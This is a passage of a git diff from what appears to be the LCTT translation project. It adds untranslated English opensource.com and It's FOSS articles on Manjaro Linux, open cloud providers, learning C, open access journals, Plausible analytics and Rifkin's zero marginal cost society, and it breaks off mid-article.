be available under a single roof, which is a big time saver. + +#### 4\. Trying out the ZSH Shell + +![][12] + +I am used to the bash shell on Ubuntu-based distros. However, Manjaro Linux features the ZSH shell by default. I believe ZSH is better than bash, but I’ll take a deep dive into the comparison with a separate article soon. + +In other words, I get to try something different out of the box. To my excitement, the terminal prompt and the theme for the shell (or the terminal) that follows the Manjaro branding accent colors look pretty impressive! + +![][12] + +Hence, I do not need to [customize the look of the terminal here][13]. + +To explore more, you might want to check some of our resources on [what ZSH is][14] and [how to install it][15]. + +#### 5\. Lack of Official Software Support + +![][16] + +I hope this improves soon. But, as of now, many software/utilities offer direct support for Ubuntu and Fedora only. + +You can find official DEB/RPM packages for various tools, but neither will work directly with Manjaro Linux. + +You will have to rely on the packages available in Arch Linux repositories or [AUR][17]. + +Fortunately, there are good chances to find the software in AUR or their repositories maintained by the community or distro developers. Just like I was able to get [Insync][18] (_affiliate link_) to work on Manjaro Linux with file manage integration extensions available. + +However, without official support for the platform, you may/may not miss out on some features or quick updates. + +Of course, if you rely on [Flatpak][19] or Snap packages, it should not be an issue for you. Furthermore, if you are new to Linux, you can refer to our [Flatpak guide][20] for more information. + +#### 6\. No Fractional Scaling + +I have a dual-monitor setup with 1080p + 1440p resolutions. So, fractional scaling helps, but I can manage without it. + +To enable fractional scaling on Manjaro, you will have to install x11-scaling enabled packages for Mutter and GNOME control center. The packages include: + + * **mutter-x11-scaling**  + * **gnome-control-center-x11-scaling** + + + +This will replace your existing mutter and gnome control center packages. So, you will lose the default theme/accent settings for your desktop. + +You may have to utilize GNOME Tweaks to get things right. But, it can turn out to be an annoying experience. + +### Final Thoughts + +Overall, I enjoy the desktop experience with Manjaro Linux. If another system update doesn’t break the experience, I think I will continue with Manjaro Linux as my new daily driver. + +_What do you think are the strong/weak points for Manjaro Linux? Did I miss something as part of my new experience? Do you have any suggestions as an experienced Arch Linux user?_ + +_Please let me know your thoughts in the comments below._ + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/manjaro-linux-experience/ + +作者:[Ankush Das][a] +选题:[lujun9972][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/ankush/ +[b]: https://github.com/lujun9972 +[1]: https://news.itsfoss.com/arch-new-guided-installer/ +[2]: https://itsfoss.com/arch-based-linux-distros/ +[3]: data:image/svg+xml;base64,PHN2ZyBoZWlnaHQ9IjkwMCIgd2lkdGg9IjE2MDAiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgdmVyc2lvbj0iMS4xIi8+ +[4]: https://itsfoss.com/what-is-tty-in-linux/ +[5]: data:image/svg+xml;base64,PHN2ZyBoZWlnaHQ9IjcxMyIgd2lkdGg9IjkzNSIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB2ZXJzaW9uPSIxLjEiLz4= +[6]: data:image/svg+xml;base64,PHN2ZyBoZWlnaHQ9IjY1MSIgd2lkdGg9Ijg1MiIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB2ZXJzaW9uPSIxLjEiLz4= +[7]: data:image/svg+xml;base64,PHN2ZyBoZWlnaHQ9IjY3MyIgd2lkdGg9Ijg1MiIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB2ZXJzaW9uPSIxLjEiLz4= +[8]: data:image/svg+xml;base64,PHN2ZyBoZWlnaHQ9IjYwMiIgd2lkdGg9IjEwMDIiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgdmVyc2lvbj0iMS4xIi8+ +[9]: https://wiki.manjaro.org/index.php/Pamac +[10]: https://itsfoss.com/install-remove-software-manjaro/ +[11]: data:image/svg+xml;base64,PHN2ZyBoZWlnaHQ9IjYyOCIgd2lkdGg9IjY5MiIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB2ZXJzaW9uPSIxLjEiLz4= +[12]: data:image/svg+xml;base64,PHN2ZyBoZWlnaHQ9IjYwMSIgd2lkdGg9Ijc4OCIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB2ZXJzaW9uPSIxLjEiLz4= +[13]: https://itsfoss.com/customize-linux-terminal/ +[14]: https://linuxhandbook.com/why-zsh/ +[15]: https://linuxhandbook.com/install-zsh/ +[16]: data:image/svg+xml;base64,PHN2ZyBoZWlnaHQ9IjYxNyIgd2lkdGg9IjEwMjQiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgdmVyc2lvbj0iMS4xIi8+ +[17]: https://itsfoss.com/aur-arch-linux/ +[18]: https://itsfoss.com/recommends/get-insync/ +[19]: https://itsfoss.com/what-is-flatpak/ +[20]: https://itsfoss.com/flatpak-guide/ diff --git a/sources/talk/20220509 Cloud service providers- How to keep your options open.md b/sources/talk/20220509 Cloud service providers- How to keep your options open.md new file mode 100644 index 0000000000..277e470cda --- /dev/null +++ b/sources/talk/20220509 Cloud service providers- How to keep your options open.md @@ -0,0 +1,83 @@ +[#]: subject: "Cloud service providers: How to keep your options open" +[#]: via: "https://opensource.com/article/22/5/cloud-service-providers-open" +[#]: author: "Seth Kenlon https://opensource.com/users/seth" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " +Cloud service providers: How to keep your options open +====== +No matter what level of openness your cloud service operates on, you have choices for your own environment. + +![Sky with clouds and grass][1] +(Image by Flickr user: theaucitron, CC BY-SA 2.0) + +For Linux users, there's a new kind of computer on the market, and it's known as the cloud. + +As with the PC sitting on your desk, the laptop in your backpack, and the virtual private server you rent from your favorite web hosting service, you have your choice in vendors for cloud computing. The brand names are different than the hardware brands you've known over the years, but the concept is the same. + +To run Linux, you need a computer. To run Linux on the cloud, you need a cloud service provider. And just like the hardware and firmware that ships with your computer, there's a spectrum for how open source your computing stack can be. + +As a user of open source, I prefer my computing stack to be as open as possible. After a careful survey of the cloud computing market, I've developed a three-tier view of cloud service providers. Using this system as your guide, you can make intelligent choices about what cloud provider you choose. + +### Open stack + +A cloud that's fully open is a cloud built on open source technology from the ground up. So much cloud technology is open source, and has been from the beginning, that an open stack isn't all that difficult to accomplish, at least on the technical level. However, there are cloud providers reinventing the wheel in a proprietary way, which makes it easy to stumble into a cloud provider that's mixed a lot of closed source components in with the usual open source tooling. + +If you're looking for a truly open cloud, look for a cloud provider providing [OpenStack][2] as its foundation. OpenStack provides the software infrastructure for clouds, including Software-Defined Networking (SDN) through Neutron, object storage through Swift, identity and key management, image services, and much more. Keeping with my hardware computer analogy, OpenStack is the "kernel" that powers the cloud. + +I don't mean that literally, of course, but if your cloud provider runs OpenStack, that's reasonably as far down in the stack as you can go. From a user perspective, OpenStack is the reason your cloud exists and has a filesystem, network, and so on. + +Sitting on top of OpenStack, there may be a web UI such as Horizon or Skyline, and there may be extra components such as [OpenShift][3] or OKD (not an acronym, but formerly known as OpenShift Origin). All of these are open source, and they help you run containers, which are minimalist Linux images with applications embedded within them. + +Because OpenShift and OKD don't require OpenStack, that's the next tier of my cloud-based world view. + +### Open platform + +You don't always have a choice in which stack your cloud is running. Instead of OpenStack, your cloud might be running Azure, Amazon Web Services (AWS), or something similar. + +Those are the "binary blobs" of the cloud world. You have no insight into how or why they work; all you know is that your cloud exists and has a filesystem, a networking stack, and so on. + +Just as with desktop computing, you can have an "operating system" running on the box you've been given. Again, I'm not speaking literally, and there's a strong argument that OpenStack itself is essentially an operating system for the cloud. Still, it's usually OpenShift that a cloud user interacts with directly. + +OpenShift is an open source "desktop" or workspace in which you can manage containers and pods with Podman and Kubernetes. It lets you run applications on the cloud much as you might launch an app on your laptop. + +### Open standards + +Last but not least, there are those situations when you have no choice in cloud service providers. You're put on a platform with a proprietary "kernel," a proprietary "operating system," and all that's left for you to influence is what you run inside that environment. + +All is not lost. + +When you're dealing with open source, you have the ability to construct your own scaffolding. You can choose what components you use inside your containers. You can and should design your working environment around open source tools, because if you do get to change service providers, you can take everything you've built with you. + +This might mean implementing something already built into the (non-open) platform you're stuck on. For instance, your cloud provider might entice you with an API management system or continuous integration/continuous delivery (CI/CD) pipeline that's included in their platform "for free," but you know better. When a non-open application is offered as "free," it usually bears a cost in some other form. One cost is that once you start building on top of it, you'll be all the more hesitant to migrate away because you know that you'll have to leave behind everything you built. + +Instead of using the closed "features" of your cloud provider, reimplement those services as open source for your own use. Run [Jenkins][4] and [APIMan][5] in containers. Find the problems your cloud provider claims to solve with proprietary code, then use an open source solution to ensure that, when you leave for an open provider, you can migrate the system you've built. + +### Open source computing + +For too many people, cloud computing is a place where open source is incidental. In reality, open source is as important on the cloud as it is on your personal computer and the servers powering the internet. + +Look for open source cloud services. + +When you're stuck with something that doesn't provide source code, be the one using open source in your cloud. + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/5/cloud-service-providers-open + +作者:[Seth Kenlon][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/seth +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/lead-images/bus-cloud.png +[2]: https://opensource.com/resources/what-is-openstack +[3]: https://cloud.redhat.com/?intcmp=7013a000002qLH8AAM +[4]: https://opensource.com/article/19/9/intro-building-cicd-pipelines-jenkins +[5]: https://www.apiman.io/latest/ diff --git a/sources/talk/20220510 My open source journey with C from a neurodiverse perspective.md b/sources/talk/20220510 My open source journey with C from a neurodiverse perspective.md new file mode 100644 index 0000000000..14eac95d99 --- /dev/null +++ b/sources/talk/20220510 My open source journey with C from a neurodiverse perspective.md @@ -0,0 +1,69 @@ +[#]: subject: "My open source journey with C from a neurodiverse perspective" +[#]: via: "https://opensource.com/article/22/5/my-journey-c-neurodiverse-perspective" +[#]: author: "Rikard Grossman-Nielsen https://opensource.com/users/rikardgn" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +My open source journey with C from a neurodiverse perspective +====== +I've learned that if you can find the method that works for you, no matter what teachers and other students may say, you can learn any open source skill that interests you. + +![][1] +(Image by: pensource.com) + +I was born in 1982, which in human years is only 40 years in the past (at the time of writing). In terms of computer development, it's eons ago. I got my first computer, a Commodore 64, when I was ten years old. Later, I got an Amiga, and by 13 I got an "IBM Compatible" (that's what they were called, then) PC. + +In high school, I did a lot basic programming on my graphing calculator. In my second year of high school, I learned basic C programming, and in my third year I started doing more advanced C programming, using libraries, pointers, and graphics. + +### My journey from programming student to teacher + +In my college days, I learned Java and so [Java became my primary language][2]. I also made some C# programs for a device known as a personal data assistant (PDA), which were pre-cursors to the modern smart phone. Because Java is object-oriented, multi-platform, and made GUI programming easy, I thought I'd do most of my programming in Java from now on. + +In college, I also discovered that I had a talent for teaching, so I helped others with programming, and they helped me with math when I took computer science. I took some courses on C programming, aimed at basic embedded programming and controlling measurement instruments in my later college years. + +After turning 30, I've used C as a teaching tool for high school kids learning to program in C. I've also used [Fritzing][3] to teach high school kids how to program an Arduino. My interest in C programming was awakened again last year, when I got a job helping college students with learning differences in computing subjects. + +### How I approach programming in C and other languages + +All people learn differently. Being a neurodiverse person with Asperger's and ADHD, my learning process is sometimes quite different from others. Of course, everyone has different learning styles, though people who are neurodiverse might have a greater preference for a certain learning style than someone else. + +I tend to think in both pictures and words. Personally I need to decode things step by step, and understand them, step by step. This makes C a suitable language for my learning style. When I learn code, I gradually incorporate the code into my mind by learning to see lines of code, like `#include ` in front of me. From what I've read from descriptions of other neurodiverse people on the internet, some of them seem to have this kind of learning style as well. We “internalize code”. + +Some autistic people are a lot better at memorizing large chunks of code than me, but the process seems to be the same. When understanding concepts such as structs, pointers, pointers to pointers, matrices, and vectors, it's helpful for me to think in pictures, such as the ones you find in programming tutorials and books. + +I like to use C to understand how things are done at a lower level, such as [file input and output (I/O)][4], networking programming, and so on. This doesn't mean I don't like libraries that handle tasks such as string manipulation or making arrays. I also like the ease of creating arrays and vectors in Java. However, for creating a user interface, though I have looked at such code in C, I prefer to use grapical editors, such as Netbeans and similar. + +### My ideal C GUI open source tool for creating applications + +If I imagine an ideal open source tool for creating a GUI using C, it would be something similar to [Netbeans][5] that, for example, making GTK-interfaces by dragging and dropping. It should also be possible to put C on buttons, and so on, to make them perform actions. There may be such a tool. I admittedly haven't looked around that much. + +### Why I encourage young neurodiverse people to learn C + +[Gaming][6] is a big industry. Some studies suggest neurodiverse kids may be even more focused on gaming than other kids. I would tell a neurodiverse high school or college kid that If you learn C, you may be able to learn the basics of, for example, writing efficient drivers for a graphics card, or to make efficient file I/O routines to optimize their favorite game. I would also be honest that it takes time and effort to learn, but that it's worth the effort. Once you learn it, you have greater control of things like hardware. + +For learning C, I recommend a neurodiverse kid to install a beginner-friendly Linux distro, and then find some tutorials on the net. I also recommend breaking down things step by step, and drawing diagrams of, for example, pointers. I did that to better understand the concept, and it worked for me. + +In the end, that's what it's about: Find a learning method that works for you, no matter what teachers and other students may say, and use it to learn the open source skill that interests you. It can be done, and anyone can do it. + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/5/my-journey-c-neurodiverse-perspective + +作者:[Rikard Grossman-Nielsen][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/rikardgn +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/images/life/computer_code_programming_laptop_0.jpg +[2]: https://opensource.com/article/20/12/learn-java +[3]: https://fritzing.org +[4]: https://opensource.com/article/21/3/file-io-c +[5]: https://opensource.com/article/20/12/netbeans +[6]: https://opensource.com/tags/gaming diff --git a/sources/talk/20220513 When open source meets academic publishing- Platinum open access journals.md b/sources/talk/20220513 When open source meets academic publishing- Platinum open access journals.md new file mode 100644 index 0000000000..91c7df4d12 --- /dev/null +++ b/sources/talk/20220513 When open source meets academic publishing- Platinum open access journals.md @@ -0,0 +1,77 @@ +[#]: subject: "When open source meets academic publishing: Platinum open access journals" +[#]: via: "https://opensource.com/article/22/5/platinum-open-access-academic-journals" +[#]: author: "Joshua Pearce https://opensource.com/users/jmpearce" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +When open source meets academic publishing: Platinum open access journals +====== +Academics can now publish free, read free, and still stay on track for professional success. + +![Stack of books for reading][1] +Image by: Opensource.com + +Academics routinely give away their work to companies for free—and then they buy it back! Can you imagine a farmer giving away free food and then paying to get it back for dinner? Probably not. Yet academics like me have been trapped for decades in a scheme where we give free work in exchange for job security and then pay millions of dollars a year to read our own writing. + +Fortunately, this is changing. The results from a [study][2] I just finished show that it is possible for academics to get job security without paying for it. My study found hundreds of journals that are *platinum open access* (OA)—that is, they require neither the author nor the readers to pay for peer-reviewed work—yet still carry the prestige and readership to help academics succeed in their careers. + +This trend is exploding: The [Directory of Open Access Journals][3] lists over 17,300 journals that offer a means of OA at some level, and over 12,250 have no article-processing charges (APCs). I used a handy open source [Python script][4] to compare this list to a list of journals ranked by the frequency with which their published papers are cited in other articles (The Journal Impact Factor List). It is clear that the last few years have seen a growing trend towards both OA in general and platinum OA specifically. These trends have the potential to accelerate science while helping prevent academic servitude. + +### The academic's dilemma + +Academics are generally pretty intelligent, so why have they engaged in this disadvantageous system for so long? Simply put, academics have been caught in a trap: In order to keep their jobs and get tenure, they need to publish in journals with a high impact factor. An impact factor is a metric based on the mean number of citations to articles published in the last two years in a given journal, as indexed by the proprietary Web of Science. Impact factors are a prestige metric for academics. + +Historically, academic publishing has been dominated by a handful of major publishers that used subscription-based business models. In this model, academic authors write articles, peer-review articles, and often do the editing of these articles—all for free. The articles are published under copyright owned by the major publishing companies. Then either the same academics pay to read these articles on an individual basis (~US $35/article), or their university libraries pay to subscribe to all of the articles in a journal. These costs can be astronomical: often over US $1 million per year for all titles from a single publisher. + +This system is senseless for many obvious reasons. Scientific progress is bogged down by restricting access to copyrighted scientific literature squirreled away behind paywalls. It is hard to do state-of-the-art research if you do not know what it is because you cannot read it. Scientists are divided into those who can afford access to the literature and those who cannot. Academics in the developing world often struggle to pay, but even well-endowed [Harvard University][5] has taken action to rein in its yearly journal expenses. + +Costs to authors are similarly high. APC values range from a few hundred dollars to jaw-dropping thousands of dollars per article. APCs can be particularly damaging for some disciplines that are less well funded, such as the humanities and social sciences (as compared to physical and medical sciences or engineering). Substantial APCs also reinforce the wealth gap in academia, making professional success dependent on having income to invest in publishing. Is there another profession that asks workers to pay money to make products for others? + +### Open access to the rescue! + +This problem can be solved by the OA movement, which advocates for making all academic literature freely accessible to everyone. There is an unmistakable rise in OA publishing: It now makes up nearly a third of the peer-reviewed literature. + +The benefits of OA are twofold. First, OA is a benefit to science overall, because it provides a frictionless means of reading the state of the art for making significant advancements in knowledge. Second, from an individual academic's point of view, OA provides the pragmatic advantage of enabling the broadest possible audience of their writing by making it freely and easily available on the internet. + +Funders have begun to demand OA for these reasons, particularly public funders of science. It is hard to argue that if the public funds research, they should have to pay a second time to read it. + +### Where is academic publishing now, and where it is going? + +Conventional publishers still have control of this situation, largely because of the perception that they have a monopoly on journals with an impact factor. Despite the disadvantages of publishing the traditional way, many academics continue to publish in subscription-based journals or pay high APCs, knowing that publication in high impact factor journals is vital for demonstrating expertise for grants, tenure, and promotion. + +A few years ago, academics simply had no choice: They could either publish in a journal with an impact factor or publish OA. Now they can publish OA and still get the benefits of an impact factor in one of three ways: + +* Green OA: Publish in a traditional way and then self-archive by uploading preprints or accepted versions of papers into an open repository or server. Some schools have an institutional repository for this purpose. For example, Western University has [Scholarship@Western][6], where any of their professors can share their work. Academics without their own institutional repos can use servers like [preprints.org][7], [arXiv][8], or  [OSF preprints][9]. I also use social media for academics, like [Academia][10] or [ResearchGate][11], for self-archiving. This can be complex to navigate because publishers have different rules, and it is somewhat time consuming. +* Gold OA: Publish in a growing list of journals with impact factors that make your paper freely available after publication but require an APC. This method is easy to navigate: Academics publish as usual and OA is built into the publishing process. The drawback is that funds going to APCs may be diverted from research activities. +* Platinum OA: Publish in platinum OA journals with an impact factor. No one pays either to read or to publish. The challenge here is finding a journal in your discipline that fits this criterion, but that continues to change. + +There are tens of thousands of journals, but only a few hundred platinum OA journals with impact factors. This may make it hard for academics to find a good fit between what they study and a journal that matches their interests. See the Appendix in my [study][12] for the list, or use the Python script mentioned above to run updated numbers for yourself. The number of platinum OA journals is growing quickly, so if you do not find something now you may have some solid journals to choose from soon. Happy publishing! + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/5/platinum-open-access-academic-journals + +作者:[Joshua Pearce][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/jmpearce +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/lead-images/books_read_list_stack_study.png +[2]: https://doi.org/10.3390/knowledge2020013 +[3]: https://doaj.org/ +[4]: https://osf.io/mh4bx/ +[5]: https://www.theguardian.com/science/2012/apr/24/harvard-university-journal-publishers-prices +[6]: https://ir.lib.uwo.ca/ +[7]: https://www.preprints.org/ +[8]: https://arxiv.org/ +[9]: https://osf.io/preprints/ +[10]: https://westernu.academia.edu/JoshuaPearce/Papers +[11]: https://www.researchgate.net/profile/Joshua-Pearce +[12]: https://www.mdpi.com/2673-9585/2/2/13 diff --git a/sources/talk/20220516 5 benefits of switching from Google Analytics to Plausible.md b/sources/talk/20220516 5 benefits of switching from Google Analytics to Plausible.md new file mode 100644 index 0000000000..0612c953ce --- /dev/null +++ b/sources/talk/20220516 5 benefits of switching from Google Analytics to Plausible.md @@ -0,0 +1,109 @@ +[#]: subject: "5 benefits of switching from Google Analytics to Plausible" +[#]: via: "https://opensource.com/article/22/5/plausible-analytics" +[#]: author: "Tom Greenwood https://opensource.com/users/tpgreenwood" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +5 benefits of switching from Google Analytics to Plausible +====== +Plausible is an open source alternative to Google Analytics. + +![The legacy of open source and the tide of progress][1] +Image by: Opensource.com + +Google Analytics (GA) has been the industry standard web analytics tool for about as long as there have been analytics tools. Nearly every brief that my WordPress agency receives specifies that GA must be installed. And there is rarely any debate around whether it's the best tool for the job. + +My team at Wholegrain Digital has had concerns about GA in terms of privacy, General Data Protection Regulation (GDPR) compliance, performance, user experience, not to mention Google as a global advertising, and search monopoly. However, we continued using GA for 99% of our projects because we didn't feel that there was a strong enough alternative. + +Well, that has changed. We've made a decision that GA will no longer be our default analytics tool. Instead, our default analytics tool will be [Plausible][2]. + +In this article, I'll outline why we consider Plausible a better choice as a default analytics solution, the compromises to be aware of, and how it will impact our clients. + +### Why use Plausible instead of Google Analytics + +We believe that using Plausible over GA is not a purely ideological choice. There are in fact a number of tangible benefits that make it an objectively better product in many cases. Let's take a look at some of these benefits. + +#### Privacy + +One of Plausible's headline benefits is that it has been designed as a privacy-first analytics tool. This might sound like an ideological factor, but it has real practical implications too. + +Plausible only collects anonymous user data, and does not use cookies. This means that unlike most analytics solutions, it complies with both the GDPR and the European Cookie Law, so it's a tick in the box for legal compliance. It's also hosted in the EU and the data is owned by you so it doesn't get shared with any other organizations, which is another tick. + +This has a positive knock-on effect for user experience, because without privacy-invading cookies, you don't need to implement a cookie banner on the website (unless you use cookies for other things). Considering that the first few seconds of a website visit are the most critical to brand experience and conversion rates, cookie banners are arguably the single most damaging thing to the success of any online service. Avoiding these banners puts your brand and message first, helps you make a good first impression, and increases conversion rates. + +#### Simpler user interface + +The GA dashboard was never a great case study in intuitive design, but as the functionality of GA has expanded, so too has the complexity of the interface. I'm increasingly hearing frustrations from even experienced web marketers that they sometimes struggle to find basic data inside GA. + +Plausible has taken the opposite approach and focused on ease of use over quantity of features. The dashboard is beautifully designed to showcase the data you want in a way that is easy to find and understand. It's what most people wish GA to be and it's a breath of fresh air. + +![Image of Plausible with a dark theme][3] +Image by: (Tom Greenwood, CC BY-SA 4.0) + +This is not just a pleasantry. The reality is that if a tool is easy to use then you will use it, and if it is hard to use then you won't. The simplicity of the Plausible interface means that even though it has less features, many users are likely to get a lot more insights and value from their analytics. + +#### Better web performance + +The Plausible tracking script is the smallest we are aware of for any analytics service, coming in at less than 1kb compared to 17kb for GA and even more if you're using Google Tag Manager. + +Better web performance improves user experience, helps your website to rank better in search engines and improves conversion rates. Web performance matters, and when it comes to web performance, every kilobyte matters. + +#### Reduced environmental impact + +Plausible's tiny tracking script isn't just good for web performance, it's also good for the environment. At Wholegrain we are world leaders in sustainable web design and understand that every bit of wasted data is also wasted energy and carbon emissions. + +This adds up. As a minimum, switching to Plausible would save 16kb per visitor, so for a website with a modest 10K visitors per month this would be 160MB of data per month, or 2GB per year. A back of an envelope calculation using the latest methodology that we have developed for website carbon calculations put this at about the equivalent of 800 grams of CO2. Now multiply that up by the millions of websites running worldwide and you are talking about significant amounts of wasted energy and unnecessary carbon emissions. + +But it doesn't stop there. Analytics tools consume energy on the end user's device as they harvest data, in the transmission networks as they send that data back to the data center, and in the data center to store it all for eternity. By tracking less, Plausible is using less energy in its operation than bloated analytics tools such as GA that are tracking many more metrics that most people don't need. + +Plausible also hosts the data in data centers with a commitment to using renewable sources of electricity, which is great (though to be fair Google also does that), and they donate 5% of their revenue to good causes, so the money you are paying is also helping support environmental and social projects. + +#### More accurate data + +Finally, Plausible breaks one of the greatest myths about GA, which is that it is accurate. Plausible's own research and our own experiences with client websites show that GA can significantly under report data, sometimes by as much as 50-60%. + +When you look at GA and you think you are looking at all of your website data, you are most likely only looking at a portion of it. This is because GA is more likely to be blocked by ad blockers and privacy friendly web browsers, but perhaps more significantly because GA should not be tracking your visitors unless they have accepted cookies, which many visitors do not. + +Plausible therefore offers us a simple way to get a more complete and accurate view of website visitors. Needless to say, if you are a digital marketing manager and you want to make yourself look good, you want to use the analytics service that reports all of your visitors and not just some of them. + +### Are there any downsides? + +There are very few downsides to using Plausible. If you are a GA power user and genuinely need a lot of its more advanced functionality then Plausible is not going to meet all of your needs. Plausible can track events, conversions, and campaigns but if you need more than that then you'll need another tool. + +The only other notable downside to Plausible is that it is not free. There is a monthly fee but it is very reasonable, starting at $6 per month. It's a small price to pay for such a good tool, to protect the privacy of your website visitors and to maintain ownership of your data. + +### What are the impacts? + +Here at Wholegrain Digital we are implementing Plausible in a way that we hope will offer many of our clients the benefits listed above without the downsides. Nobody will be forced to stop using GA, but we will be talking about the benefits of Plausible proactively with our clients and including it in our proposals as the default option. + +In many cases, Plausible is not just capable of meeting a project's requirements, but is objectively a better solution than GA, so we'll be trying to help our clients to reap the benefits of this. + +In cases where advanced GA features are required, we will of course stick with GA for now. And in some cases, we may run GA and Plausible in parallel. This has a small overhead in terms of carbon footprint and performance, so it isn't our first choice. However, in some cases it may provide a necessary bridge to help our clients gain confidence in Plausible before making the leap, or help them gain a complete data set while ensuring compliance with privacy laws. + +As for the costs, Plausible is a very good value for what it offers, but we will be offering it free of charge to our clients for any websites cared for on our WordPress maintenance service. We hope that this will help lower the barrier to entry and help more of our clients and their website visitors gain the benefits of Plausible. + +### It is Plausible! + +I hope I've convinced you that Plausible is not just a viable but a really great alternative to GA. If you need any advice on how to figure out the best analytics solution for your website or how to ensure that you are GDPR compliant without compromising user experience, get in touch with me. + +*This article originally appeared on the Wholegrain Digital blog and has been republished with permission.* + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/5/plausible-analytics + +作者:[Tom Greenwood][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/tpgreenwood +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/lead-images/LIFE_wavegraph.png +[2]: https://plausible.io +[3]: https://opensource.com/sites/default/files/2022-05/Plausible-%C2%B7-websitecarbon-com.jpg diff --git a/sources/talk/20220519 Near zero marginal cost societies and the impact on why we work.md b/sources/talk/20220519 Near zero marginal cost societies and the impact on why we work.md new file mode 100644 index 0000000000..5930ee1ea4 --- /dev/null +++ b/sources/talk/20220519 Near zero marginal cost societies and the impact on why we work.md @@ -0,0 +1,177 @@ +[#]: subject: "Near zero marginal cost societies and the impact on why we work" +[#]: via: "https://opensource.com/open-organization/22/5/near-zero-marginal-cost-societies-and-impact-why-we-work" +[#]: author: "Ron McFarland https://opensource.com/users/ron-mcfarland" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +Near zero marginal cost societies and the impact on why we work +====== +As the IoT becomes our working and living environment, energy costs will come closer to zero and community collaboration will be critical. + +![A network of people][1] +Image by: Opensource.com + +I have read Jeremy Rifkin's book [The Zero Marginal Cost Society: The Internet of Things, the Collaborative Commons, and the Eclipse of Capitalism][2], which has a strong connection to open organization principles, particularly community building. Rifkin also writes about the future of green energy generation and energy use in logistics. This is the second of three articles in this series. In my previous article, I examined the Collaborative Commons. In this article, I look at its impact on energy production and supply. + +Within the next 25 years, Rifkin believes most of our energy for home heating, running appliances, powering businesses, driving vehicles, and operating the whole economy will be nearly free with on-site power solar, wind and geothermal energy generation. This is starting already, through both individual and micropower plants. The payback is around two to eight years. + +What would be the best organizational structure to manage nearly free green energy? Furthermore, through an intelligent communication and energy system, an organization could generate business anywhere in the world, and share energy across a continental energy internet. On top of that, it could produce and sell goods at a fraction charged by global manufacturing giants. + +### The Internet of Things is on the way + +According to Rifkin, the Internet of Things (IoT) will connect every machine, business, residence, and vehicle in an intelligent network that consists of not just a communications internet like now, but in the future an energy internet, and a logistics internet. They will all be embedded in a single operating system. Energy use will be completely monitored. Rifkin believes that within 10 years, many smart energy meters will be in use (by 2025). All this investment will reduce at least 10% of the waste in the current industrial system. + +All this will be possible with the reduction of costs of sensors and actuators embedded in devices. Radio-frequency identification (RFID) chip prices have fallen by 40% in around 2012-2013. Micro-electromechanical system (MEMS), including gyroscopes, accelerometers, and pressure sensors, have also dropped by 80-90% in price over the past five years (up to 2015 when this book was published). + +This will increase device connections, to as many as 1,000 connections on one person's devices, appliances, and facilities. This connection is what young people love, total inclusion in a global virtual public square to share everything. They thrive on transparency, collaboration, and inclusivity with care taken to an appropriate level of privacy. So, you can see, the time is right for the growth of a Collaborative Commons in society. + +### Exponential curve + +Question: Would you accept US $1,000,000 today or US $1.00 that doubled every day for 30 days? (In 30 days it will be US $536,870,912. That is 500 times more). In 31 days, over one billion. Exponential growth is deceptively fast. That is how fast costs are coming down according to Rifkin. This will turn the entire fossil fuel industry investments into stranded assets. We should be planning for the Collaborative Commons using all open organization principles now, as the situation will be ideal for them very soon. + +### Next, a free energy internet + +At this point in time there is free information for learning if you look for it. The next step is free energy (solar, wind, geothermal, biomass, hydro). After initial investments (research, development, deployment), Rifkin forecasts that unit costs will rapidly come down. The information internet and near zero-cost renewables will merge into the energy internet, powering homes, offices, and factories. Ideally, there will be energy that's loaded into buildings and partially stored in the form of hydrogen, distributed over a green-electricity internet, and connected to plug-in, 